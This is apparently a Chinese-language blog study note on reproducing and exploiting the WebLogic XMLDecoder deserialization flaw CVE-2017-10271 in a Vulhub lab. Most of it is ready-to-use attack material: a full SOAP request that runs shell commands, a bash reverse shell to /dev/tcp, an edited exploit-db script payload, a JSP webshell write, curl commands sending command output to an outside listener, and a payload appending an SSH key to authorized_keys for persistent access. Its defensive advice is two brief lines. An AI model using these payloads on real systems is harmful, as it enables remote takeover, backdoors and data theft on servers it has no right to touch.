0x00 前言

简单学习WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)。

0x01 WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

环境搭建

用的Vulhub:https://vulhub.org/#/environments/weblogic/CVE-2017-10271/

影响版本

Oracle WebLogic Server 。

漏洞原理

WebLogic的WLS Security组件对外提供WebService服务,其中使用XMLDecoder来解析XML格式数据,其存在反序列化漏洞,从而导致RCE。

漏洞复现

直接发送PoC报文如下,利用DNSLog外带验证(报文内容类型是SOAP型WebService报文,参考之前的WebService渗透测试文章来构造即可):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping weblogic.16qkmh.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

DNSLog看到请求记录:

漏洞利用

直接反弹shell

反弹shell的Exp报文,将PoC中填入命令的那一行修改下即可(其实特殊符号无需编码也可以):

1
<string>bash -i &gt;&amp; /dev/tcp/172.19.0.2/21 0&gt;&amp;1</string>

exploit-db中的Exp脚本,直接用于反弹shell:https://www.exploit-db.com/exploits/43458/

但是在Vulhub的环境用不了,因为其Linux反弹shell的Exp用的Python,但目标环境没,这里改成用bash反弹shell即可:

1
2
3
4
5
6
7
8
# self.cmd_payload = (
# "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
# "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
# "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
# ).format(lhost=self.lhost, lport=self.lport)
self.cmd_payload = (
"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
).format(lhost=self.lhost, lport=self.lport)

还有个点就是换成/bin/bash而非/bin/sh,改了之后就可以OK了:

写WebShell

写入WebShell的Exp报文,看报文内容即可,换了java.io.PrintWriter类进行操作,其中WebShell文件时写入到了servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp中,其通过http://ip:7001/bea_wls_internal/test.jsp访问得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

期间可以通过HTTP OOB来外带看看是否创建成功(服务端使用nc -lvnp 6666监听即可):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://x.x.x.x:6666/x -d "x=`ls servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war`"</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

最后访问即可/bea_wls_internal/test.jsp

写SSH Key

修改前面HTTP OOB外带查询当前用户的名称:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://x.x.x.x:6666/x -d "x=`whoami`"</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

然后探测是否存在.ssh目录和authorized_keys文件:

1
x=`ls -l /home/xxx/.ssh`

如果不存在则需要先创建,之后进行写SSH Key,使用追加的方式,不覆盖:

1
<string>echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgsrQRaSsoX1tEv0+xqWFaWrFt5RA+ZnaevW9Fh2y8RACQ1h++EpFyD0HqsQD5Gfz6bEzis9KbZaytyketcPOe7XB2Qd0r+kSPu7k1iycTj0A59/mbMwDH42WJd27aeTmyJCAyQl8E6zIVaTZw137I4jVcyOruSFHxjeOvH5gaut2s6AZyCxJx5DpVHt6Sbj2FHPVDtOZ/Dxv1cyhCaybBfX0U88T8xrIwX5KIMmd2cj2lJsVHXxHk255lBgGL1n1oWXgllOIDfg3HJFxzualjf+NzKmhg8B+4GSfGSY8KEK/pCeiaDIYcB2tVk3sUDUw5gEUEpGJWxQlAGClEQ29DvBjRT/6hESz4nYUKlOI4CfdCwlX6NDM8JHttZqdORrzXoOMeu1Nc4IBO4jNMfzBHecbWkPb+W2kyouwfe2yAToA10G6IdllUq9HzTlcqLe+XW11i8P0FVvbv7GKeEfnFxd/NY51H7E15P7O65DIxvjBQeKlnMOLTOy2+xPfIIRs=" >> /home/xxx/.ssh/authorized_keys</string>

查看是否成功:

1
x=`cat /home/xxx/.ssh/authorized_keys`

写入成功后就能直接SSH登录了:

漏洞分析

参考:

https://paper.seebug.org/487/

https://bl4ck.in/vulnerability/analysis/2017/12/22/WebLogic-WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

待分析…

防御方法

  • 升级WebLogic版本;
  • 删除WLS-WebServices组件;